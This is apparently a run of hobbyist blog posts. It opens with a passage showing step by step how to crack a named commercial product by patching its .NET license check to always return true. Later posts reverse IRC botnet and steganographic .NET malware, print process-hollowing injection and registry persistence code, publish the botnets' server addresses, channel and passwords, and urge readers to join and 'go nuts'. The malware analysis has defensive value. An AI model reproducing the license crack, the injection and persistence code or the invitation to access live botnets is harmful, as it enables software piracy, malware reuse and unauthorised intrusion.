Now, how do we do it?

===The easy way===
The easiest way is with Red Gate’s .net reflector and its sister plugin reflexil.

Here, we load up the plugin and see the MSIL instructions in the bottom window.
reflexil1

We right click and choose ‘replace all with code’. The mini .net compiler window pops up.
reflexil2

Next we re-code the function to our liking. In this case, I am making the code always return true. We then hit the ‘compile’ button and our instructions window on the top right shows our new MSIL instructions.
———
ldci4.1
ret
———
ldc.i4.X—loads a 32-bit constant (X from 0 to 8) onto the stack
ret – return.
This makes sense right? Load the value ’4′ onto the stack and return. Unlike traditional assembly where one would assume to ‘push 1′ for the value of true, we are pushing 4. Why? I don’t know, .net is weird like that :D

After pressing ‘ok’, the new instructions we compiled will be present in the lower right pane. All that’s left now is to save our changes.
This is done by right clicking the assembly on the left, choosing the reflexil plugin, then choosing ‘save as’ which brings up a save window.
reflexil4

And that’s it. Easy as pie.

When we re-disassemble our managed assembly, the function now shows the code we patched seen here with ilspy: reflexil5

===The hard way===

Sometimes you may night have the hundred bucks to shell out on Red Gate’s Reflector. You’re a hobbyist with not too much cash, but an interest to learn. There is hope though, provided you’re willing to re-code some stuff. DILE off of source forge offers a similiar experience for free. Problem is, the THING DONT WORK. At ALL. Maybe its because I’m running 64 bit windows and the version I have is inferior? Or maybe the project was abandoned in 2011. Either way, its fail.
1242839853599
I want to believe it works, but signs point to doubt on this one.

===The harder way===

There is nothing wrong with this method. It does work. There are more steps, but at least its free. The tools come included with Visual Studio Express.

A brief run down: First we disassemble the binary / assembly to a .il file, then edit the code, save the file, then re-compile with ilasm, assuming you got the MSIL syntax correct (which isnt exactly easy to find reference wise). If you team this with something like ilspy, it will save a bunch of work of tracking down the method / class names.

We use the ildisassembler tool for this:
ildisasm
Click file, then dump, then select a directory to place the disassebmled code in.

Now we open the .il file (msil code) in notepad and look for the function we want.
We already know we’re searching for the class LicenseValidator, and its method IsLicenseValid.
solarwindsmsilnotepad

All we have to do now is replace the MSIL code with our other code that makes the code return true.

.method public hidebysig newslot virtual final
instance bool IsLicenseValid(uint8[] licenseData, uint8[] signature, uint8[] nodeLockInfo, uint8[] serialNumber, valuetype SolarWinds.Licensing.Framework.LicenseType ‘type’, uint8 licenseInterfaceRevision) cil managed
{
// Code size 2 (0×2)
.maxstack 8
IL_0000: ldc.i4.1
IL_0001: ret
} // end of method LicenseValidator::IsLicenseValid

Look familiar? ldc.i4.1, then ret? Yeah, same as our reflexil code. If you need to reference other code, I suggest reading up on MSIL syntax. Another convenient method is to code something up in visual studio, then decompile it with the ildisasm tool and copy + paste. It works.

Now we need only re-assemble our code.
ilasm

Run the ilasm command against the saved .il file (you saved it right?) along with the proper command line arguments such as /dll for managed assemblies.
ilasm3
Assuming all goes well and you didn’t make any syntax errors, you’re all done. The managed assembly or exe will be assembled in the same directory as the .il file.

One thing worth noting is you need all the resource files and crap that ildisasm drops into the same directory as the .IL file, otherwise the thing wont complile:
ilasm2

And that’s all there is too it. We place the modified managed assembly in the same directory as the licensing application and presto! The application accepts any license we pass it.

More work is involved if the code is obfuscated, but that sounds like another post for another day.

The next post we’ll be attacking a popular windows mail server. Another .net application from a company who doesn’t feel like fully obfuscating their binaries.

Happy cracking!


Reversing a Botnet

$
0
0

Howdy fellow crackers and hackers alike! Have I got a treat for you? A live botnet.

The other day at work, I encountered a number of machines all attacking other hosts. Normally its just one machine, but this there were several.

We isolated the exe responsible because it was eating up 100% CPU (not exactly subtle). I was curious about what made it tick, so I disassembled it and this is what I found. Normally where I work, we’re hit by botnets, and never get to catch them in the act as tracking down the mothership is difficult.

First things first, I want to know more about the executable, like if its packed, or what have you.
reversing botnet1
As the picture shows, the executable is NOT packed, rather just your standard run of the mill PE (portable executable) file. The 2 extra sectioned highlighted tell is the type of compiler used – GCC for windows aka mingw, meaning either CodeBlocks was used or Devcpp. I say this because the .bss and .idata sections are specific to GCC and remind me of ELF (executable linker format) used by Linux.

Since I don’t want to join said botnet, I’m sticking to static analysis. Opening the thing up in IDA, we find exactly what kind of malware we’re dealing with – amaturish.
reversing botnet2
The strings are not encoded, nor are they hidden. The first thing I noticed was the IP address. For those curious, a quick search on ARIN reveals the IP address as belonging to some collocation service in Atlanta: http://whois.arin.net/rest/net/NET-199-229-248-0-1/pft
The next thing we see is the channel name #test(more on that in a sec), then the passwords. The ‘Operation Dildos’ name deduces that our malware writers are either 14, or immature. I still chuckled though.

The next thing I determined was the type of bot we were dealing with. Scrolling further through revealed IRC instructions. You’ve read RF C1459 right? http://www.irchelp.org/irchelp/rfc/rfc.html
reversing botnet3
JOIN, PING, PONG, NICK, PRIVMSG – these are all IRC commands.

Further inspection of the bot revealed the commands the that can be issued to the bot by its master.
reversing botnet4
The commands are
‘help’ – derp.
‘version’ – derrrr.
‘speedtest’ – perform a speed test by performing web request to 68.11.12.242 which traced this to Louisiana. I have a feeling our malware writer lives in that area because of the botnet server resides in Georgia. Just a guess :)
‘exec’ – Execute a command.
‘dle’ – Download and execute a file.
‘udp’ – Do a udp flood.
‘openurl’ – Open a hidden window of a URL.
‘syn’ – Do s syn flood.
‘stop’ – Stops execution.
If you’re curious how the bot performs the lookup on the command, here it is. What you can’t see is the stub at the top which belongs to the subroutine responsible for the IRC connection to the server.
reversing botnet_command_list

Next thing I found scrolling through was the error handler data section – messages sent to alert the master that said command completed.
reversing botnet5

The last thing in this reversing session I’d like to point out is just before the command listing – the password check.
reversing 1botnet6
The assembly instruction ‘repne scasb’ is a string operation. It means scan string for NULL decrementing the ecx (extended counter register) for each char. I see it primarily with string comparison operations.

Enough about the bot itself, lets learn more about the botnet.
botnet
A quick ping shows us its still online. You may also notice

botnet2
Connecting to it seems to work, so its still operational. The botnet itself seems to be growing because when I looked last night, there were only 400 hosts. Checking now, I see ‘There are 3 users and 1131 invisible on 2 servers’

When i connected, I was called out by the server admin within minutes whom I saw the first time I connected. Since I don’t want to throw rocks at a hornest’s nest (get my server DDOS’d off the net), I decided not to further pursue. My readers on the other hand, go nuts. You have the password to issue commands, you have the irc server address, you have the channel where the bots reside (#test).

Perhaps I may try again tonight at like 1 am when the admins are probably asleep. Until then, keep on cracking.

For those of you who are curious, you can download the bot here, complete with IDA 6 compatible db file:
The Bot.

1330480069115

reversing a botnet 2 – electric boogaloo

$
0
0

It happened again at work. This time twice the number of machines hit.

The same people hit my company, and they took my advice when I last spoke to them – they obfuscated the executable to make it harder to perform a routine reverse engineering analysis.

In this particular case, the obfuscation used was compiled into the resource files. Resource file are things like cursors, bitmaps and images commonly loaded into the .resc or .resx at compile time. Programs use this section header as storage, however since the section is usually RWX (Read Write Execute), I have seen programs stuff executable code inside this section.

Today the application in question is a .net binary. Firing up ILspy, we get to have a look see at this seemingly harmless binary.
newbotnet

Right off the bat something doesn’t seem right. The function ‘Main()’ is invoking an assembly via the ResourceManager object from within the ‘getpop’ method. According to MSDN, the ResourceManager object is used for managing internal and external resource files. Why is this important? Take a look at this:
newbotnet2

The 2 resource files called contain binary code. Scrolling further through said code, you see what looks like function names, only reversed. Like etubirttAdetareneGrelipmoC and niamoDtnerruC_teg which translate to CompilerGeneratedAttribute and get_CurrentDomain. Another dead give away is towards the bottom of the akrow.resources file:
“.edom SOD ni nur eb tonnac margorp sihT!”
The string shown at the beginning of every exe, the tiny COM file throwback to the old dos days! “This proggram cannot be run in DOS mode.”. Clearly this is the meat and potatoes of our application and the the code we see in reflector / ILspy is just the loader.

For shits and giggles, lets reverse the text in the entire file and see if it loads. After all, this is an independent application. I’m coding this in C# as to mimic the ‘work()’ function from within the loader app. Recall this code? “return Encoding.GetEncoding(0x4e4).GetBytes(new string(array));” The GetEncoding() function returns the valid encoding according to a numeric code page. 0x4e4 in hex is 1252 which means the program is using Western European (Latin) encoding.

Here is my code for turning the resource file into an executable. I kept it small.


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
public class Program
    {
        static void Main(string[] args)
        {
            string revfile = “D:\\downloads\\resx\\worka.resources“;
      string newfile = “D:\\downloads\\resx\\worka.resources.exe“;
            StreamReader sr = new StreamReader(revfile, Encoding.GetEncoding(1252));
            StreamWriter sw = new StreamWriter(newfile, true, Encoding.GetEncoding(1252));
            string reversed = ReverseString(sr.ReadToEnd());
            sr.Close(); sw.Write(reversed); sw.Close();
        }
        public static string ReverseString(string s)
        {
            char[] arr = s.ToCharArray();
            Array.Reverse(arr);
            return new string(arr);
        }
    }

From my end, the ‘reversing’ (no pun intended) went off without a hitch on both files. The larger file of the 2 contained nothing useful to us (yet) other than what looked like a bunch of base 64 encoded data, however the second smaller file yielded fruit. My suspicions were correct, the second resource file is executable, however not a standard exe, but rather a dll.

Have a look:
newbotnet3

Note the modules in our list. ‘workings’, and ‘QuickLZ’. For those who don’t know, QuickLZ is an open source LZMA compression library. Check it.

Expanding ‘workings’, we see the loader / dropper commands, where it launches itself and where it hides out.


public class workings
{
    // Fields
    public static Random r = new Random();
    // Methods
    public static void Begin(string name, bool stealth)
    {
        if (stealth)
        {
            Registry.CurrentUser.OpenSubKey(@“Software\Microsoft\Windows NT\CurrentVersion\Winlogon“, true).SetValue(“shell“, “explorer.exe,\““ + Process.GetCurrentProcess().MainModule.FileName + “\““);
        }
        else
        {
            Registry.CurrentUser.OpenSubKey(@“SOFTWARE\Microsoft\Windows\CurrentVersion\Run“, true).SetValue(name, Process.GetCurrentProcess().MainModule.FileName);
        }
    }
 

Not very stealthy, but whatever. You may be wondering how it loads the second resource file we uncovered. It does so in the ‘MakeMe’ method. Its rather complex, so tread lightly.

public static void MakeMe(byte[] bytes, bool runInMemory, [Optional, DefaultParameterValue(“.exe“)] string bndext)
    {
        try
        {
            byte[] buffer = getData(bytes);
            string tempPath = Path.GetTempPath();
            string str2 = Path.GetDirectoryName(Environment.SystemDirectory) + @“\Microsoft.NET\Framework\v2.0.50727\cvtres.exe“;
            if (!runInMemory)
            {
                Random random = new Random();
                string str3 = rndmkey(random.Next(3, 7));
                File.WriteAllBytes(tempPath + str3 + bndext, buffer);
                ShellExecuteA(IntPtr.Zero, “open“, tempPath + str3 + bndext, null, null, 10);
            }
            else if (isdotnet(buffer))
            {
                Run(buffer);
            }
            else
            {
                IntPtr zero = IntPtr.Zero;
                IntPtr[] pInfo = new IntPtr[4];
                byte[] sInfo = new byte[0x44];
                int num = BitConverter.ToInt32(buffer, 60);
                int num2 = BitConverter.ToInt16(buffer, num + 6);
                IntPtr ptr2 = new IntPtr(BitConverter.ToInt32(buffer, num + 0&#215;54));
                if (CreateProcess(null, new StringBuilder(str2), zero, zero, false, 4, zero, null, sInfo, pInfo))
                {
                    uint[] ctxt = new uint[0xb3];
                    ctxt[0] = 0&#215;10002;
                    if (GetThreadContext(pInfo[1], ctxt))
                    {
                        IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
                        IntPtr bufr = IntPtr.Zero;
                        IntPtr ptr5 = new IntPtr(4);
                        IntPtr numRead = IntPtr.Zero;
                        if (ReadProcessMemory(pInfo[0], baseAddr, ref bufr, (int) ptr5, ref numRead) &#038;&#038; (NtUnmapViewOfSection(pInfo[0], bufr) == 0))
                        {
                            int num3;
                            IntPtr addr = new IntPtr(BitConverter.ToInt32(buffer, num + 0&#215;34));
                            IntPtr size = new IntPtr(BitConverter.ToInt32(buffer, num + 80));
                            IntPtr lpBaseAddress = VirtualAllocEx(pInfo[0], addr, size, 0&#215;3000, 0&#215;40);
                            WriteProcessMemory(pInfo[0], lpBaseAddress, buffer, (uint) ((int) ptr2), out num3);
                            int num4 = num2 &#8211; 1;
                            for (int i = 0; i <= num4; i++)
                            {
                                int[] dst = new int[10];
                                Buffer.BlockCopy(buffer, (num + 0xf8) + (i * 40), dst, 0, 40);
                                byte[] buffer3 = new byte[(dst[4] - 1) + 1];
                                Buffer.BlockCopy(buffer, dst[5], buffer3, 0, buffer3.Length);
                                size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
                                addr = new IntPtr(buffer3.Length);
                                WriteProcessMemory(pInfo[0], size, buffer3, (uint) ((int) addr), out num3);
                            }
                            size = new IntPtr(ctxt[0x29] + 8L);
                            addr = new IntPtr(4);
                            WriteProcessMemory(pInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint) ((int) addr), out num3);
                            ctxt[0x2c] = (uint) (lpBaseAddress.ToInt32() + BitConverter.ToInt32(buffer, num + 40));
                            SetThreadContext(pInfo[1], ctxt);
                        }
                    }
                    ResumeThread(pInfo[1]);
                }
            }
        }
        catch
        {
        }
    }
 

First thing you'll notice is the use of 'cvtres.exe'. If you have .net 2 or higher, you have this installed. Information on this app is scarce, but the description tells all - "Microsoft® Resource File To COFF Object Conversion Utility". A converter for taking '.resources' files and converting them into COFF objects, or simply an executable as COFF / PE are one in the same.

Reading through the complicated code, it looks like a form of Dll injection since why else would you call WriteProcessMemory() after creating a process? If I'm wrong, call me out, but I have a feeling I'm right.

Now let's focus on getting what we can out of the other meaty looking resource file. I keep seeing a call to a function named 'getData' to supply the actual file to run / execute. Let's look at that function.


public static byte[] getData(byte[] shit)
{
    List<byte> list = new List<byte>();
    return QuickLZ.decompress(work(Convert.FromBase64String(Encoding.GetEncoding(0x4e4).GetString(shit))));
}
  

Recall the first modules from earlier? QuickLZ? That’s our decompression module. The function takes a byte array as an argument and returns one.
What its doing is returning the decompressed stream from the function ‘work’ which looks rather familiar. In fact, its taken right from the original exe!

public static byte[] work(byte[] shit)
{
    char[] array = Encoding.GetEncoding(0x4e4).GetString(shit).ToCharArray();
    Array.Reverse(array);
    return Encoding.GetEncoding(0x4e4).GetBytes(new string(array));
}
  

So its decompressing the reversed byte array, which is converted from a base64 string with our code page from before 1252 (latin). How much do you want to bet we can use these 2 functions against our other encoded file along with QuickLZ? Let’s take a look.

Using the same program we used to ‘reverse’ our resource files, lets rip the code from the QuickLZ module directly and use it to decompress that other resource file as this is easier than downloading and compiling the library. Just copy and paste from reflector into visual studio like so:
newbotnet4

So how do we put it all together? Refer back to the original exe’s ‘Main()’ method, specifically the last command before returning.


public static void Main()
{
    getpop(“test“, “akrow“);
    dat = Assembly.Load(work(list.ToArray()));
    list = new List<byte>();
    getpop(“an“, “worka“);
    Invoke(“Scribe“, new object[] { list.ToArray(), true });
}
 

See? Before the function returns, it invokes the method ‘Scribe()’ which we now have a listing for thanks to our dll listing:

public static bool Scribe(byte[] bytes, bool start)
    {
        try
        {
            byte[] buffer = getData(bytes);
            string path = Path.GetTempPath() + rndmkey(5) + “.exe“;
            File.WriteAllBytes(path, buffer);
            if (start)
            {
                Thread.Sleep(100);
                Process.Start(path);
            }
            return true;
        }
        catch
        {
            return false;
        }
    }
 

We need only make some minor alterations to our original program to decrypt the program now since I want to work with a byte stream instead of directly working with strings. Of course nothing in life is ever easy, I’ve run into a problem. Simply loading the file in as a byte stream is not enough. After all it is a resource file. Visual studio complains about the file not containing proper base 64 encoded data:
newbotnet5

To solve this issue, let us refer back to the original program.


public static void Main()
{
    getpop(“test“, “akrow“);
    dat = Assembly.Load(work(list.ToArray()));
    list = new List<byte>();
    getpop(“an“, “worka“);
    Invoke(&#8220;Scribe&#8221;, new object[] { list.ToArray(), true });
}
 

We’re interested in the method ‘getpop’ since it seems to deal directly with out resource file. Let’s inspect the source.

public static void getpop(string nName, string res)
{
    ResourceManager manager = new ResourceManager(res, Assembly.GetExecutingAssembly());
    for (int i = 0; i < 0x5729; i++)
    {
        try
        {
            if (nName == “test“)
            {
                list.AddRange((byte[]) manager.GetObject(“test“));
                break;
            }
            string name = nName + i;
            byte[] collection = (byte[]) manager.GetObject(name);
            list.AddRange(collection);
        }
        catch
        {
            break;
        }
    }
}
 

It's creating a byte list (which is like an abstract array) with the resource manager object entries, looping through fields named 'test' a total of 22313 times even though there's only like 143 entries. Weird. This makes sense when you look at the disassembled view in Reflector:
newbotnet6

So what do we need to do now? We need to somehow get the byte streams from the resource file and into a List / file so we can feed it into our decryption application. There are 2 ways. Option 1 is to rip the code off some more and attempt to load the resource file directly the same way the app does, but this may or may not work. For option 2, we can load the resource file into visual studio which has a new resource and copy / paste directly from its resource manager.

Option 1 failed for me because I couldn’t ascertain how to convert a List data type to a byte stream. Option 2 will have to do. I used a different .net decompiler on the resource files – ‘JetBrains DotPeek’. This decompiler seems to work a lot better than the other decompilers including RedGate Reflector as it was able to produce a clear XML file of the data contained within:
newbotnet7

After some finagling, I got my decryptor to work, but its a slow process. You have to take each entry from each XML value and copy / paste into a file in order to preserve base64′s integrity. My decryptor will take every file in a directory and run it through the decryption routine, but then I realized, it should probably be done in order.

1329023952948
Fuck this shit. Besides, I already know what the damn thing is – an IRC client. I know this because I ran wireshark against it in conjunction with Reflector / Reflexil. Let’s take a look shall we?

Running netstat revealed a program with a messed up name connected to some IP address ’37.235.49.168′ over port 443. This is odd as this is usually used by HTTPS.
Running an nmap syn scan shows this ip as still being up and running some sort of IRC server.
newbotnet8

Before we join, lets make sure we look like one of the bots as to elude suspicions. Filtering the IP address into wireshark, we see the following:
newbotnet9

See it? NICK zwin-LOAPOA|971| or zwin-5chandomchars-|3 random numbers|

Another thing you’ll need is the right username (Separate from the Nickname). The packet dump mentioned the user “ImGay“.

I joined the IRC server, but it wouldn’t let me look at any of the users / channels meaning they’re password protected.
Taking another look at our wireshark pcap results, we see the following:
newbotnet10

Another IRC command, this time with the password. JOIN #test godlol.

Now that we have the username, the password to join the channel, and the server name, we are free to troll the botnet operators. Since I’m doing this from home, I don’t feel like throwing rocks at the hornet’s nest again. I’ll leave that to my loyal readers. In fact, I’d like to thank my readers or whoever the hell did something about the last botnet because not 1 week after posting about it, they took the botnet down. Is the pen really mightier than the sword or was just coincidence?

If you want to finish what I started, be my guest – Pain. Inside is the source code to my decryptor, the botnet client exe, the dll I ripped from the first resource, and the XML file which contains the base64 encoded data for the second exe.

I just thought of one thing you could probably do to skip over the decryptor and base64 crap. Remember how Main invokes that ‘Scribe()’ method in the managed DLL? Just make some adjustments with reflexil so that way the new application is


public static bool Scribe(byte[] bytes, bool start)
{
    try
    {
        byte[] buffer = getData(bytes);
        string path = Path.GetTempPath() + rndmkey(5) + “.exe“;
        File.WriteAllBytes(path, buffer);
        if (start)
        {
            // Thread.Sleep(100);
            //Process.Start(path);
            //Replace with
            System.Threading.Thread.Sleep(1000000000);
            Environment.Exit(0);
        }
        return true;
    }
    catch
    {
        return false;
    }
}
 

Of course, you’ll have to recompile the dll, then ‘reverse’ it again, before planting it as a resource with the name ‘akrow.resources’ again, unless you can do it live. I’ve heard WolfGate can do this.

Good luck. And happy cracking.

1223480381495

Restoring McAfee BUP Files

$
0
0

Hello fellow readers,

Its been a while since I’ve posted.

Today at work I was going over malware already flagged by McAfee and sent to the quarantined folder.

The way McAfee encrypts / encodes its quarantined files is pretty basic – XOR (exclusive OR) on each byte by the value of 0x6a (106 in decimal).

Once you know how this is done, writing an application to do this becomes stupid simple.
bup1

You can download the app here:
Restore_Mcafee_BUP_Files

I am looking forward to ToorCon in the next couple of months. Was thinking of doing a talk on bypassing FireEye.

Stego Malware And DotNet

$
0
0

Greetings and salutations.

Today I’m going to be going over some malware I found in the wild. I found it after doing a search for ‘hack’ on the ‘rapidshare’ section of 4chan. With the name ‘SteamHackCount.exe’, being about 350 kb, and having the Apple icon? Totally legit right???
seemslegit
Opening the program in IDA showed the program was a .net binary.
ida001
While I love IDA to death, I don’t care for its MSIL decompilation. There are several better .NET decompilers out there to choose from such as ILspy, GreyWolf, DotPeek, Redgate Reflector, and DILE. In this particular case, I am going to load the thing into ILspy.

Peering inside, the binary appears to be obfuscated – common for .net malware.
ilspy2
The entire app doesn’t seem all that complicated. It’s a windows app that starts hidden – typical. On window start, the function ‘rHOQZwrVXEKdlaGCCBGqxFV()’ is called. Let’s look closer at the function ‘rHOQZwrVXEKdlaGCCBGqxFV’

public void rHOQZwrVXEKdlaGCCBGqxFV()
{
	ResourceManager resourceManager = new ResourceManager("NRwifYtqHh", Assembly.GetExecutingAssembly());
	Bitmap nvTDNTPbrHOQZwrVXEKdlaGCC = (Bitmap)resourceManager.GetObject("V3Mi6UNB");
	ResourceManager resourceManager2 = new ResourceManager("BIDRVmCEPb", Assembly.GetExecutingAssembly());
	Bitmap nvTDNTPbrHOQZwrVXEKdlaGCC2 = (Bitmap)resourceManager2.GetObject("mwxv1jbj");
	byte[] array = this.OqvJGoCbbDMYzUyXpPpBu(nvTDNTPbrHOQZwrVXEKdlaGCC);
	byte[] rawAssembly = this.OqvJGoCbbDMYzUyXpPpBu(nvTDNTPbrHOQZwrVXEKdlaGCC2);
	Assembly assembly = Assembly.Load(rawAssembly);
	object objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(this.KdlaGCCBGqxFVvuLBEvUxcaIw("47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|")));
	objectValue.GetType().InvokeMember(this.KdlaGCCBGqxFVvuLBEvUxcaIw("75|157|192|185|148|191|"), BindingFlags.InvokeMethod, null, RuntimeHelpers.GetObjectValue(objectValue), new object[]
	{
		array,
		false,
		"Nothing",
		"Nothing"
	});
}

This function appears to be invoking the ResourceManager object which effectively loads a resource file compiled within the binary. Resources are usually cursors, bitmaps, icons and the like.

ResourceManager resourceManager = new ResourceManager("NRwifYtqHh", Assembly.GetExecutingAssembly());
		Bitmap nvTDNTPbrHOQZwrVXEKdlaGCC = (Bitmap)resourceManager.GetObject("V3Mi6UNB");

In this case, the function is loading from the local resource (shown on the top left in ILspy) a bitmap file for use. Further down, we see that the function is passing these same bitmap images to another function ‘OqvJGoCbbDMYzUyXpPpBu’.

public byte[] OqvJGoCbbDMYzUyXpPpBu(Bitmap NvTDNTPbrHOQZwrVXEKdlaGCC)
{
	List<byte> list = new List<byte>();
	int arg_11_0 = 0;
	checked
	{
		int num = NvTDNTPbrHOQZwrVXEKdlaGCC.Width - 1;
		for (int i = arg_11_0; i <= num; i++)
		{
			int arg_1F_0 = 0;
			int num2 = NvTDNTPbrHOQZwrVXEKdlaGCC.Height - 1;
			for (int j = arg_1F_0; j <= num2; j++)
			{
				Color pixel = NvTDNTPbrHOQZwrVXEKdlaGCC.GetPixel(i, j);
				if (pixel != Color.FromArgb(0, 0, 0, 0))
				{
					list.Add(pixel.R);
					list.Add(pixel.G);
					list.Add(pixel.B);
				}
			}
		}
		return this.FTBSEIiWUOfdzVtzvILZv(list.ToArray());
	}
}

Inside this convoluted mess we see the bitmap file is being iterated through, and converted to a byte array. The function returns its result to another function ‘FTBSEIiWUOfdzVtzvILZv’.

This function further processes the byte array of the former bitmap image by performing some gzip decompression.

public byte[] FTBSEIiWUOfdzVtzvILZv(byte[] wGQLoEWqKEtZijhmXQXCPOehkcCQ)
{
	checked
	{
		using (MemoryStream memoryStream = new MemoryStream(wGQLoEWqKEtZijhmXQXCPOehkcCQ))
		{
			using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress))
			{
				int num = 0;
				int num2;
				do
				{
					wGQLoEWqKEtZijhmXQXCPOehkcCQ = (byte[])Utils.CopyArray((Array)wGQLoEWqKEtZijhmXQXCPOehkcCQ, new byte[num + 1024 - 1 + 1]);
					num2 = gZipStream.Read(wGQLoEWqKEtZijhmXQXCPOehkcCQ, num, 1024);
					num += num2;
				}
				while (num2 >= 1024);
				wGQLoEWqKEtZijhmXQXCPOehkcCQ = (byte[])Utils.CopyArray((Array)wGQLoEWqKEtZijhmXQXCPOehkcCQ, new byte[num - 1 + 1]);
				gZipStream.Close();
			}
			memoryStream.Close();
		}
		return wGQLoEWqKEtZijhmXQXCPOehkcCQ;
	}
}

After decompressing the byte array, the program then loads the file as an assembly with ‘Assembly assembly = Assembly.Load(rawAssembly);’.
The last few lines of code are responsible for initializing the methods of choice within the loaded assembly. Think of an assembly as just another word for program.

object objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(this.KdlaGCCBGqxFVvuLBEvUxcaIw("47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|")));
	objectValue.GetType().InvokeMember(this.KdlaGCCBGqxFVvuLBEvUxcaIw("75|157|192|185|148|191|"), BindingFlags.InvokeMethod, null, RuntimeHelpers.GetObjectValue(objectValue), new object[]
	{
		array,
		false,
		"Nothing",
		"Nothing"
	});

This brings us to our last obfuscated function – ‘KdlaGCCBGqxFVvuLBEvUxcaIw’. Let’s have a look see:

public string KdlaGCCBGqxFVvuLBEvUxcaIw(string RIxMWFFrsTcoRkPnGSGDw)
{
	string text = null;
	string[] array = RIxMWFFrsTcoRkPnGSGDw.Split(new char[]
	{
		'|'
	});
	string[] array2 = array;
	checked
	{
		for (int i = 0; i < array2.Length; i++)
		{
			string value = array2[i];
			try
			{
				text += Conversions.ToString(Strings.Chr((int)Math.Round(unchecked(Conversions.ToDouble(value) - Conversions.ToDouble(array[0])))));
			}
			catch (Exception arg_4F_0)
			{
				ProjectData.SetProjectError(arg_4F_0);
				ProjectData.ClearProjectError();
			}
		}
		return text.Remove(0, 1);
	}
}

The function takes a pipe delimited string of numbers and returns a string. If you’re curious what the 2 pipe delimited strings say from this.KdlaGCCBGqxFVvuLBEvUxcaIw(“47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|”) and this.KdlaGCCBGqxFVvuLBEvUxcaIw(“75|157|192|185|148|191|”), they decode to ‘RunIt’, and ‘Loader.PublicClass’.
Lastly the function takes invokes the member of the decoded method.

That’s a lot to take in and I hope you’re still with me. What we’re going to do now is write a little decryption application using the code from ILspy. I saved the 2 resource files directly and drahg / drop imported them into visual studio. I have changed the function names slightly for easier readability:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Resources;
using Microsoft.VisualBasic.CompilerServices;
using System.Drawing;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.CompilerServices;


namespace Decrypt_me
{
    class Program
    {
        static void Main(string[] args)
        {
            Decrypt_me.Program p = new Program();
            p.maininit();
            Console.ReadKey();
        }
        public static string decr(string whatever)
        {
            string text = null;
            string[] array = whatever.Split(new char[]
	{
		'|'
	});
            string[] array2 = array;
            checked
            {
                for (int i = 0; i < array2.Length; i++)
                {
                    string value = array2[i];
                    try
                    {
                        text += Conversions.ToString(Microsoft.VisualBasic.Strings.Chr((int)Math.Round(unchecked(Conversions.ToDouble(value) - Conversions.ToDouble(array[0])))));
                    }
                    catch (Exception arg_4F_0)
                    {
                        ProjectData.SetProjectError(arg_4F_0);
                        ProjectData.ClearProjectError();
                    }
                }
                return text.Remove(0, 1);
            }
        }
        public static byte[] haha(Bitmap timetodie)
        {
            List<byte> list = new List<byte>();
            int arg_11_0 = 0;
            checked
            {
                int num = timetodie.Width - 1;
                for (int i = arg_11_0; i <= num; i++)
                {
                    int arg_1F_0 = 0;
                    int num2 = timetodie.Height - 1;
                    for (int j = arg_1F_0; j <= num2; j++)
                    {
                        Color pixel = timetodie.GetPixel(i, j);
                        if (pixel != Color.FromArgb(0, 0, 0, 0))
                        {
                            list.Add(pixel.R);
                            list.Add(pixel.G);
                            list.Add(pixel.B);
                        }
                    }
                }
                return decr1(list.ToArray());
            }
        }
        public static byte[] decr1(byte[] maybe)
        {
            checked
            {
                using (MemoryStream memoryStream = new MemoryStream(maybe))
                {
                    using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress))
                    {
                        int num = 0;
                        int num2;
                        do
                        {
                            maybe = (byte[])Utils.CopyArray((Array)maybe, new byte[num + 1024 - 1 + 1]);
                            num2 = gZipStream.Read(maybe, num, 1024);
                            num += num2;
                        }
                        while (num2 >= 1024);
                        maybe = (byte[])Utils.CopyArray((Array)maybe, new byte[num - 1 + 1]);
                        gZipStream.Close();
                    }
                    memoryStream.Close();
                }
                return maybe;
            }
        }
        public void maininit()
        {
            ResourceManager resourceManager = new ResourceManager("Decrypt_me.NRwifYtqHh", Assembly.GetExecutingAssembly());
            Bitmap timetodie = (Bitmap)resourceManager.GetObject("V3Mi6UNB");
            ResourceManager resourceManager2 = new ResourceManager("Decrypt_me.BIDRVmCEPb", Assembly.GetExecutingAssembly());
            Bitmap timetodie2 = (Bitmap)resourceManager2.GetObject("mwxv1jbj");
            byte[] array = haha(timetodie);
            byte[] rawAssembly = haha(timetodie2);
            Assembly assembly = Assembly.Load(rawAssembly);
            
           // object objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(decr("47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|")));
           
            Console.WriteLine("First member name: " + decr("75|157|192|185|148|191|"));
            Console.WriteLine("Second member name: " + decr("47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|"));
            File.WriteAllBytes("assemblylisting1.exe", array);
            File.WriteAllBytes("assemblylisting2.exe", rawAssembly);
            Console.WriteLine("Wrote both assemblies.");

            /*objectValue.GetType().InvokeMember(decr("75|157|192|185|148|191|"), BindingFlags.InvokeMethod, null, RuntimeHelpers.GetObjectValue(objectValue), new object[]
	{
		array,
		false,
		"Nothing",
		"Nothing"
	});*/
        }

    }

}

When I ran the code, it wrote the decrypted bytes of the assembly files to ‘assemblylisting1.exe’ and ‘assemblylisting2.exe’ in the current directory.
decrypted

Loading one of the decrypted assembly files into ILspy shows us the true nature of the program. Here we see the 2 decoded strings from the original program – ‘RunIt’ and ‘PublicClass’:
ilspy3
The code is pretty straight forward – inject the program into ‘svchost’ and place the program in the startup registry key.
The actual code behind the ‘inject’ function is pretty interesting, but perhaps we’ll go over it another time. If you’re curious about it, download ILspy and take a peek yourself. You can download both the malware and my decrypter source code here. The password is ‘lolwut’.

The there was another binary present that I did not go over – the first assembly listing. This assembly listing is encrypted / encoded with PElock’s ‘.netshrink’ which I’ll have to go over in detail in a full blog post as there is a lot to cover. Since the file isn’t directly launched, I omitted its presence in this writeup.

Typical Malware On A Typical Day

$
0
0

